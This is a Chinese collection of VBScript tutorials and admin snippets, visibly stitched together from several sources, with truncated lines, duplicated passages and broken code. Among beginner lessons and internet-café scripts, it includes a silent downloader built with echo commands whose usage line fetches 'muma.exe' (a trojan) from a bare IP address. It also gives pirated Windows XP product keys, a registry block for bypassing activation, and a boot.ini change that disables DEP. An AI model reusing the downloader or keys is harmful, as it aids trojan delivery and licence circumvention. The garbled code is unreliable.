[实用参考]VBS经典脚本.doc
vbs脚本大全--其他--80Born
OK, 我们先来写一个VBScript程序热热身.
REM 输入并回显你的名字
\'使用InputBox和Msgbox函数
Dim name,msg
msg="请输入你的名字:"
name=Inputbox(msg,"名称")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
msgbox("Hello World")
这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢?
当你要装进去别的东西的时候必须把原有的东西拿出来. 这个"盒子"是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理,
而不是盒子. 有些语言是很依赖"盒子"里面装些什么东西, 这样才能找到合适的"盒子"(比如C语言), 但VBS给我提供的是能够自动伸缩的"魔术盒",
float a2; Dim a2 as Double
char* a3; Dim a3 as strnig
a1=14; a1=14
a2=12.23; a2=12.23
在编程中有一个有趣的运算符是"mod", 这个运算符叫做"取余运算符", 就是取得一次除法的余数, 例如
vbs脚本手册文库
vbs脚本手册文库.txt用快乐去奔跑,用心去倾听,用思维去发展,用努力去奋斗,用目标去衡量,用爱去生活。
钱多钱少,常有就好!人老人少,健康就好!家贫家富,和睦就好。
◎VBS脚本运行库手册之一——磁盘操作文件系统管理是系统管理的一个关键性任务。
WSH 和 VB 脚本在这个领域都没有提供相关的功能。
幸运的是,你可以通过 script runtime库来管理这些关键的系统组件,比如磁盘,文件夹和文件。
这两种主要的脚本语言,VB 脚本语言和 JS 脚本语言起初的时候都是设计给客户端来编写 IE 的。
正是因为如此,这两个脚本语言都有一些局限性。
例如VB 脚本和JS 脚本内部都没有提供访问文件管理的一些任务,比如:复制、移动、删除文件等。
这样做的目的是为了保护消费者。
大多数的的网站不可能让用户通过网页去删除它们硬盘上的东西。
尽管如此,脚本已经从类似的HTML 的按钮之类的开始迅速的发展了。
随着 ASP 的到来,浏览器的编写者要求在 server 上管理文件。
而随着 WSH 的到来,系统管理员要求有在 web 浏览器外来管理文件了。
为了满足这个要求,微软发布的了 Script Runtime Library。
它是一个单独的 DLL 文件,scrrun.dll 文件,用来给脚本的编写者们提供一些文件管理的能力,包括以下内容:1、获取文件系统的信息,包括获得磁盘、文件和文件夹上的信息。
2、复制,移动和删除文件及文件夹3、创建和读写文本文件。
除了这些功能之外,Script Runtime Library 提供了创建字典的能力。
也可以用来对脚本进行编译,使脚本成为加密的。
Note:这章只是讨论 FileSystemObject 和 Dictionary 的部分,对于 Encode 部分不作讨论,Script Runtime Library也是 windows 2000 的一部分,它在你安装或者升级微软的应用程序的时候也随着升级和安装了:这些应用程序有以下几个:1、WSH2、VB 脚本3、IE 浏览器4、Microsoft Office5、FileSystemObject 正如它的名字一样,FSO 设计用来帮助你管理文件系统,FSO允许你获取重要的文件组件信息,包括硬盘、文件夹、文件;也提供一般的系统管理的任务,比如复制、删除、移动文件和文件夹。
收藏的比较精典VBS代码
收藏的比较精典VBS代码Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '创建文件系统对象,用以处理驱动器、文件夹和文件Set WshShell = Wscript.CreateObject("Wscript.Shell") '创建系统Shell对象,用以运行程序等等if fso.fileexists("D:\刀剑Online\alreadyexist.txt") then '如果找到文件“D:\刀剑Online\alreadyexist.txt”则WshShell.Run("D:\刀剑Online\刀剑Online.exe") '运行“D:\刀剑Online\刀剑Online.exe”elseif fso.fileexists("\\gengxin\update\dj.exe") then '否则,如果找到“\\gengxin\update\dj.exe”则WshShell.Run("\\gengxin\update\dj.exe") '运行“\\gengxin\update\dj.exe”else WshShell.Run("D:\刀剑Online\刀剑Online.exe") '否则运行“D:\刀剑Online\刀剑Online.exe”end if '根据条件执行语句结束VBS 导入注册表,然后执行文件dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\AUTOSTART",0,"REG_DWORD" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\PATH","G:\网络游戏\劲舞团1.5","REG_SZ" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\VERSION",1010,"REG_DWORD" Wsh.run "patcher.exe"PING内网不通就执行关机的VBSstrIP = "192.168.0.254" '被PING的内网机器Set objShell = CreateObject("WScript.Shell")If Not IsOnline(strIP) Then objShell.run "shutdown -s -t 30 -c "&chr(34)&"机器即将关闭"&chr(34) End IfFunction IsOnline(strComputer) IsOnline = false strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & "" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, "Reply") > 0 Then IsOnline = true End If Loop End Function开机脚本VBS用于ARP邦定Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.run "arp -s 192.168.0.1 30-18-e5-33-01",0 WshShell.run "arp -s 192.168.0.5 30-18-e5-33-07",0运行程序Dim aSet Wsh = WScript.CreateObject("WScript.Shell") a.Run "d:\网络游戏\大话西游II\xy-2.exe"运行oshell.run "d:\soft\hf\hfgame3\GameClient.lnk"断开网络连接strNICName = " disable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False启动网络连接strNICName = " enable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False删除文件的VBS脚本dim fso Set fso = CreateObject("Scripting.FileSystemObject")fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置1\",true '添加fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置2\",true '添加fso.DeleteFile "c:\目标位置1\XXX.lnk" ,true '删除fso.DeleteFile "c:\目标位置2\XXX.lnk" ,true '删除Set FSO=NoThing WScript.quit无界面自动检测安装iscsi客户端,映射及断开映射vbs脚本下列代码实现无界面自动检测安装iscsi客户端,自动映射On Error Resume Next setupfile="iscsi2.0.exe" 'iscsi客户端安装文件路径serverip="192.168.0.100" 'iscsi服务器ip Set oshell= CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") if not fso.fileexists(oshell.ExpandEnvironmentStrings("%WinDir%")+"\system32\iscsicpl.cpl")then oshell.run setupfile&" /q",,1 end if oshell.run "iscsicli AddTargetPortal "&serverip&" 3260",0,1 oshell.run "iscsicli LoginTarget .ricecake.iscsi:00 T * * * * * * * * * * * ** * * 0",0,1下例代码实现无界面删除iscsi映射盘filetmp="c:\my.txt" On Error Resume Next Set Shell = CreateObject("WScript.Shell") Set fso = Wscript.CreateObject("Scripting.FileSystemObject") shell.run "cmd /c iscsiclisessionlist>"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject("Scripting.FileSystemObject") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline ="end" myreadline=myline end function Do While bbb<>"end" bbb=myreadline if bbb <> "end" then if bbb <>" " then if instr(bbb,"Session")<>0 then temID=mid(bbb,instr(bbb,":")+1,len(bbb)-instr(bbb,":")) shell.run "iscsicli logouttarget"&temID,0 end if end if end if Loop fso.deletefile(filetmp)删除QQ用户文件强制删除是不行的了,要跳过的话这样:Dim fso, folderspec, f, f1, fc folderspec = "f:\Program Files\Tencent\QQ" '设置你的QQ文件夹Dim Re Set Re = New RegExp Re.Pattern = "^\d{4,13}$" Set fso = CreateObject("scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test() Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next格5分钟运行一次批处理程序Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Do Wsh.Run "d:\aaa.bat" '你要执行的批处理WScript.Sleep(300000) Loop要设开机自动运行,禁止程序。
vbs脚本大全,配有实例 DOS命令,批处理 脚本 代码
Next
6 检查本地管理员数目
Set objNetwork = CreateObject("work")
strComputer = puterName
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
Else
Wscript.Echo "The Guest account is enabled."
一些常用的VBS脚本
一些常用的VBS脚本、批处理和注册表2007-10-10 18:36======打开迅闪菜单的同时连接虚拟磁盘的VBS======Set WshShell = WScript.CreateObject("WScript.Shell")Return = WshShell.Run ("c:\client\新调用.exe",0,true)Return = WshShell.Run ("iscsicli AddTargetPortal 192.168.0.9 3260",0,true)Return = WshShell.Run ("iscsicli LoginTarget .ricecake.iscsi:00 T * * Set WshShell = Nothing======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======DIM objShellset objShell=wscript.createObject("wscript.shell")WScript.Sleep(10000)iReturn=objShell.Run("cmd.exe /C \\server\E\123.bat", 0, TRUE)======修改IE状态栏显示字符的注册表======Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\ @="""DisplayName"="XX网吧"====== 批处理获得本机的IP和MAC地址然后进行绑定======@echo offfor /f "tokens=1* delims=:" %%i in ('ipconfig /all^|find /i "Physical Address"') do s for /f "tokens=1* delims=:" %%i in ('ipconfig /all^|find /i "IP Address"') do set ip= arp -s %ip:~1% %Mac:~1%======强制刷新组策略和注册表======xp/2003命令gpupdate /force2k命令secedit /refreshpolicy machine_policy /enforce====== 批处理修改IE主页======@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start P @reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page======解除禁止下载的几种方法======VBS代码:DIM WSHSET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")WSH.POPUP("本程序的作用是解决无法下载的问题")WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones03 WSH.POPUP("现在您可以下载程序了!")JS代码:VAR WSHShell=WSCRIPT.CREATOBJEt("WSCRIPT.SHELL");WSHShell.Popup("本程序解决无法下载的问题,");WSHShell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZINF代码[Version]Signature="$CHICAGO$"[DefaultInstall]DelReg=Del[Del]HKCU,"Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones",1803====== 屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows] "NoPopUpsOnBoot"=dword:00000001======导入注册表不给任何提示的方法============简单三步,更改序列号解决WINDOWS XP在线升级问题======1)在〔开始〕→〔执行〕→〔Regedit〕→〔HKEY_LOCAL_MACHINE〕→〔SOFTWARE〕→〔Micros 〔Windows NT〕→〔CurrentVersion〕在〔WPAEvents〕内将〔OOBETimer〕的头两个数值〔FF〕2)在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕→选择第二项〔电话启动〕3)在进入下一个视窗,选择〔change product key〕来修改序列号及输入新的序列号,完成后点重新启动电脑后在〔开始〕→〔执行〕→〔oobe/msoobe /a〕进入〔启动画面〕时应该显示已经启KLV,VOL版用户可用序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用CM3HY-26VYW-6JRYC-X66GX-JVY2D 可用DP7CM-PD6MC-6BKXT-M8JJ6-RPXGJ 可用F4297-RCWJP-P482C-YY23Y-XH8W3 可用HH7VV-6P3G9-82TWK-QKJJ3-MXR96 可用HCQ9D-TVCWX-X9QRG-J4B2Y-GR2TT 可用======去除系统面板上的远程和系统还原选项======regsvr32 /u remotepg.dllregsvr32 /u wuaueng.dll======冒险岛刷新率设置成85HZ的注册表(对玩冒险岛黑屏的兄弟有用)======Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Wizet\MapleStory]"ExecPath"="E:\\OnlineGame\\冒险岛""EKEYUSE"=dword:00000000"DGTIDUSE"=dword:00000000"RMA"=dword:00000000"LMA"="""LCWN"="""scrFirstRun"=dword:00000000"soVideo"=dword:00000003"soBGMVol"=dword:0000000f"soBGMMute"=dword:00000000"soSEVol"=dword:0000000f"soSEMute"=dword:00000000"soScreenShot"=dword:00000000"soMouseSpeed"=dword:0000000a"soHPFlash"=dword:0000000a"soTremble"=dword:00000001"jpBtn0"=dword:00000000"jpBtn1"=dword:00000000"jpBtn2"=dword:00000000"jpBtn3"=dword:00000000"jpBtn4"=dword:00000000"jpBtn5"=dword:00000000"jpBtn6"=dword:00000000"jpBtn7"=dword:00000000"jpBtn8"=dword:00000000"scrRRate"=dword:00000055======QQ面板上点QQ游戏无反映的解决注册表(一定是做母盘的时候没有运行过QQ游戏吧?)Windows Registry Editor Version 5.00Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Tencent\QQGame\SYS]"HallDirectory"="e:\\网游平台\\QQGame\\""GameDirectory"="e:\\网游平台\\QQGame\\"[HKEY_LOCAL_MACHINE\Software\Classes\CLSID]"CLBVersion"=dword:00000007[HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{11BEA40D-ED62-4996-B157-B6D9C637F2A5}\Inp "ThreadingModel"="Apartment"[HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{B59750C3-29F1-44AA-BFA8-E5F6D3CE8596}\InP "ThreadingModel"="Both"[HKEY_LOCAL_MACHINE\Software\Classes\Interface\{AA21B901-1642-4AB2-9C1C-A09B2412CC89} "Version"="1.0"[HKEY_LOCAL_MACHINE\Software\Classes\Interface\{B2167A4F-BC4D-4DA7-90BF-C4BAF7D76714} "Version"="1.0"[HKEY_LOCAL_MACHINE\Software\Tencent\QQGame\SYS]"HallDirectory"="E:\\网游平台\\QQGame\\""GameDirectory"="E:\\网游平台\\QQGame\\"======运行共享里的EXE不给予提示的方法======IE--Internet 选项--安全--自定义级别--安全设置--加载应用程序和不安全文件:选择|启用|即======制作2003系统最重要的步骤:让2003象XP一样兼容游戏======修改boot.ini为:multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /NoExecut 此方法等同于:我的电脑--属性--高级--性能--设置--数据执行保护,选择|只为关键Windows程======如果你的2003不能在线升级和打补丁,试试这个注册表======Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] "ProductId"="69713-640-9722366-45198"[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion] "CurrentBuild"="1.511.1 () (Obsolete data - do not use)""InstallDate"=dword:3f6c976d"ProductName"="Microsoft Windows Server 2003""RegDone"="""Software Type"="SYSTEM""CurrentVersion"="5.2""CurrentBuildNumber"="3790""BuildLab"="3790.srv03_rtm.030324-2048""CurrentType"="Uniprocessor Free""ProductId"="69713-640-9722366-45198""DigitalProductId"=hex:a4,00,00,00,03,00,00,00,36,39,37,31,33,2d,36,34,30,2d,39,37,32 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,31,32,32,32,3"LicenseInfo"=hex:71,84,c7,56,a0,d6,10,6e,70,b4,9f,e9,10,1a,1e,7a,01,a4,41,09,25,20,0。
收集的一些经典的vbs脚本大全
收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识,现在⼤家对它也开始重视起来。
vbs文件操作脚本实例
vbs文件操作脚本实例1.创建一个新的文本文件,如果文件已经存在则报告错误:Rem 在当前盘根目录下创建"测试.txt"并写入一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=-1VBSCall Call MessageBox("发现错误!!!文件已经存在!!!")Goto overEndIfVBS Set file=fso.CreateTextFile(filename,Ture)VBS file.WriteLine("文件第一行,这是一个测试文件")VBS file.CloseVBSCall Call MessageBox("测试文件创建成功!!!")Rem overEndScript2.强行写入文件覆盖原有内容:Rem 往当前盘根目录下的文件"测试.txt"写入一个字符串,覆盖原有内容VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForWriting=2VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForWriting,Ture)VBS file.WriteLine("测试写入文件行")VBS file.CloseVBSCall Call MessageBox("写入文件成功!!!")Rem overEndScript3.往文件尾部追加内容:Rem 往当前盘根目录下的文件"测试.txt"末尾追加一个字符串VBS dim fso,file,filenameVBS filename="\测试.txt"VBS Const ForAppending=8VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForAppending)VBS file.WriteLine("测试追加字符串到文件末尾")VBS file.CloseVBSCall Call MessageBox("追加字符串到文件成功!!!")Rem overEndScript4.读取指定文件一行Rem 从当前盘根目录下的文件"测试.txt"读一行VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.ReadLineVBS file.CloseVBS text="从文件"&filename&"读取行成功!读到的字符串为:"&text VBSCall Call MessageBox(text)Rem overEndScript5.从指定文件行读取2个字符Rem 从当前盘根目录下的文件"测试.txt"读取2个字符VBS dim fso,file,filename,textVBS filename="\测试.txt"VBS Const ForReading=1VBS Set fso=CreateObject("Scripting.FileSystemObject")If fso.FileExists(filename)=0VBSCall Call MessageBox("发现错误!!!文件不存在!!!")Goto overEndIfVBS Set file=fso.OpenTextFile(filename,ForReading)VBS text=file.Read(2)VBS file.CloseVBS text="从文件"&filename&"读取2个字符成功!读到的字符为:"&text VBSCall Call MessageBox(text)Rem overEndScript6. ReadAll读取整个文件内容,大文件太占资源,不建议使用//使用方法和ReadLine近似7.SkipLine跳过当前行//使用方法是file.SkipLine,仅用于只读属性打开的文件8.测试文件行结束/文件结束a.测试行结束判断语句If file.AtEndOfLine=-1...EndIf//表达式为真的时候当前指针处于行末b.测试文件结束判断语句If file.AtEndOfStream=-1...EndIf//表达式为真的时候当前指针处于文件末9.其他用于文件的函数或者叫方法功能有a.file.Column 返回当前列号b.file.Line 返回当前行号c.file.FileExists(filename) 判断指定文件是否存在。
VBS脚本教程
VBS脚本教程(一)打开你的“记事本”程序,在编辑窗口填写:msgbox "Hello World!"然后用鼠标单击“文件”菜单,单击“保存”,把“保存在”一栏设为桌面,在“文件名”一栏中填写kk.vbs,单击“保存”就可以了。
然后最小化“记事本”窗口,在桌面上寻找你刚刚保存的kk.vbs,然后双击。
看到弹出的对话框了没有,单击“确定”,对话框消失了。
难看了点,不过确实是你编写的第一个脚本程序。
说明之一:上面的操作中,保存位置放在桌面,仅仅是为了执行方便,你保存到其他的地方完全没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存的当然知道保存在那里了。
不,自己保存的文件自己找不到的人我见的多了去了。
文件名你可以随意填写,不一定非要写kk,只要符合Windows的文件命名规则就可以了,但是扩展名必须是vbs,什么?不知道什么是扩展名?就是文件名中“.”后的那部分,简单说,就是vbs脚本文件命名时必须是:xxx.vbs,其中xxx你随意。
说明之二:在记事本编辑窗口中写的这行是什么意思?Msgbox是VBS内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。
你不用了解函数是怎么运作的,只要了解这个函数能干什么就行了。
Msgbox语法:msgbox "对话框内容", , "对话框的标题"你不妨用记事本打开刚才的文件在编辑窗口中输入:msgbox "Hello World!" , , "系统提示"执行一下,看看效果和位置。
说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。
当然,这个脚本实在是太简单了,甚至连最简单的交互都没有,所以你可以把脚本这样修改一下:Dim namename=Inputbox("请输入你的名字:","名称")Msgbox name, , "您的名字是"保存执行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?说明之一:第一句是定义变量,dim是定义变量的语句其格式为:dim 变量1,变量2……,Vbs只有一种变量类型,所以不用声明变量类型。
完整的VBS教程(超级实用)
很好的VBS教程(带实例)推荐第一篇:讲一下VBScript。
主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以。
但既然有编程基础推荐直接去找一些参考书来读。
会比较快。
什么是VBScript呢?VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)。
正如其字面所透露的信息,VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。
我进一步解释一下,Microsoft Visual Basic是微软公司出品的一套可视化编程工具,语法基于Basic.脚本语言,就是不编译成二进制文件,直接由宿主(host)解释源代码并执行,简单点说就是你写的程序不需要编译成.exe,而是直接给用户发送.vbs的源程序,用户就能执行了。
我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了,答案是:记事本(Notepad).我不是开玩笑,其实任何一种文本编辑器都可以用来开发VBS开发,只不过记事本是由系统自带的,比较好找而已. 尽管如此,我还是建议你去下载一个专业的文本编辑器,因为这些工具可以提供 "语法高亮"等功能,更加方便开发,用哪一个随你喜好,我比较喜欢Edit Plus (2.10).OK,我们先来写一个VBScript程序热热身.REM 输入并回显你的名字'使用InputBox和Msgbox函数Dim name,msgmsg="请输入你的名字:"name=Inputbox(msg,"名称")Msgbox(name)把上面的程序清单输入到记事本里面,然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行,观察运行结果. 注意:请自己输入程序清单,不要复制->粘贴!我来解释一下这个程序,第一行和第二行的开头分别是"REM"语句和" ' ",这两个东西的作用是相同的,表示本行是注释行,就是说这两行什么也不干,只是用来说明这段程序的功能,版权信息等等. 注释行是程序最重要的部分之一,尽管它不是必需的,但对于其他人阅读源代码,以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰,简洁的注释。
VBS的经典
const PI=3.1415926const NAME="记忆碎片"这样我们就定义了两个常量, PI和NAME, 一般说来, 常量名全部使用大写, 但也可以不用, 随你喜好. 将一些在程序中不需要改变的值定义为常量是个好习惯, 这样能防止不必要的意外. 另外, 使用自定义常量也可以减少你的工作量. 比如:msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢? 常量就可以替我们解决这个问题:const hw="Hello World"msgbox(hw)msgbox(hw)msgbox(hw)msgbox(hw)msgbox(hw)这样当你要修改输出的时候只要修改hw的值就行了.好了, 现在我们来看看编程的第一块重要"基石":变量. 解释变量最好的办法我觉得是"盒子", 一个变量好像一个盒子, 里面只能装一个东西, 当你要装进去别的东西的时候必须把原有的东西拿出来. 这个"盒子"是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理, 而不是盒子. 有些语言是很依赖"盒子"里面装些什么东西, 这样才能找到合适的"盒子"(比如C语言), 但VBS给我提供的是能够自动伸缩的"魔术盒", 我们不用关心装进去的是什么东西,VBS会自动调整盒子的大小. 例如:Dim a1,a2,a3a1=14a2=12.23a3="Hello"而不用像C语言那样麻烦: 或者是VB的正规声明(VB可以声明也可以不用)那样:int a1; Dim a1 as integerfloat a2; Dim a2 as Doublechar* a3; Dim a3 as strniga1=14; a1=14a2=12.23; a2=12.23a3="Hello"; a3="Hello"嗯……扯远了……变量有什么用呢? 哇, 那用处可大了. 最简单, 你并不能确定程序运行时变量的值, 比如前一节课我们编的输入姓名的程序, 你不能确定InputBox返回的是什么(还记得Inputbox的返回值吗? 就是你输入的内容), 所以你就没有办法应对各种情况, 但我们用name这个"盒子"把用户的名字装起来, 到用的时候我们只要知道name这个盒子的名字就行了, 系统会自己打开他并把里面的内容拿出来用. 再举个例子, 我们编写一个程序计算一个矩形的面积, 比如这个程序要发给小学生使用:dim a,b,sa=15b=12s=a*bmsgbox(s)这样就可以求出长为15,宽为12的矩形的面积了, 是不是很简单? 当然, 这个程序也可以这样写:dim ss=15*12msgbox(s)这样看起来程序短了许多, 也节约内存, 但并不是鼓励的做法, 为什么? 请看下面.现在, 我们的程序要变得像点样子才行, 谁的程序写出来还要别人修改源代码才能用啊?所以, 我们要接受用户的输入, 还记得吗? InputBox函数.修改后程序如下:dim a,b,sa=inputbox("请输入矩形的长:")b=inputbox("请输入矩形的宽:")s=a*bmsgbox(s)ok, 这么一修改, 无论用户输入怎样的数据, 我们都能计算出矩形的面积了. 如果你用s=15*12能改嘛? 当然不行.我想你已经发现了, vbs中的数学计算和真正的算术没有什么不同, +,-,*,/,(),[],{}都是一样的用法, 比如:dim ansans=12+32/4+[(23-10)*2]msgbox(ans)四则运算的法则在编程中同样生效, 你可以在编程中重新获得小学时候的乐趣(你恨数学?那就别学电脑了).在编程中有一个有趣的运算符是"mod", 这个运算符叫做"取余运算符", 就是取得一次除法的余数, 例如dim aa=16 mod 5你知道a等于几吗? Bingo! 没错, 就是1. 因为16 / 5 =3....1, 所以mod计算的结果就是1.还有一个运算符是"^"(就是键盘"6"上面的小箭头), 他表示"乘幂"(或者是"方") 比如:dim a,b,ca=2b=a^2c=a^3msgbox(a)msgbox(c)则b=a*a=4, c=a*a*a=8。
vbs脚本教程
WScript.Echo "Total Physical Memory (kb): " & wbemObject.TotalPhysicalMemory
Next
脚本示例2,
strComputer = "."
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")
使用objShell的exec方法代替run方法可将运行返回一个WshScriptExec对象,可对结果显示做更多的控制。
运行脚本exam.vbs:
在命令行下输入:cscript exam.vbs
使用重定向符将脚本运行结果输出到文本文件:
cscript exam.vbs > output.txt //覆盖方式
调用命令程序(%COMSPEC%环境变量调用相应操作系统的cmd.exe 或 command.exe)运行脚本,并保持console窗口:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "%COMSPEC% /k ipconfig"
注意,这里没有 For Each
循环,你就可以获得磁盘的属性。因为脚本是返回一个单独的磁盘对象,而不是所有对象的集合。因此也就不用筛选了。
※如何列举磁盘驱动器的属性
磁盘集合的作用总是用来监视和列举的。作为一个系统管理员,你需要知道计算机上的可用磁盘,也需要知道磁盘的序列号、可用空间等信息。在你获得当前磁盘的集合或者单个磁盘的时候,你就可以获得下表列出的所有属性。
VBS脚本常用经典代码收集
VBS脚本常用经典代码收集在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。
VBS脚本用途很多:1. 计算2. 处理文件和文件夹3. 管理Windows4. 处理Word, Excel, PowerPoint等Office文档5. 嵌入网页,驱动dHTML6. 编写HTTP通信7. 调用系统功能(COM组件),比如说语音说话8. 分析HTML, XML9. 调用命令行并分析返回结果10. 处理图片11. 自动化按键12. 调用Windows Media Player并管理13. 调用Windows Live Messenger并管理14. 服务端技术:Active Server Page (ASP)15. 脚本病毒16. 处理数据库下面是我收集的VBS代码,大部分转自,以后还会更新。
VBS获取系统安装路径先定义这个变量是获取系统安装路径的,然后我们用”&strWinDir&”调用这个变量。
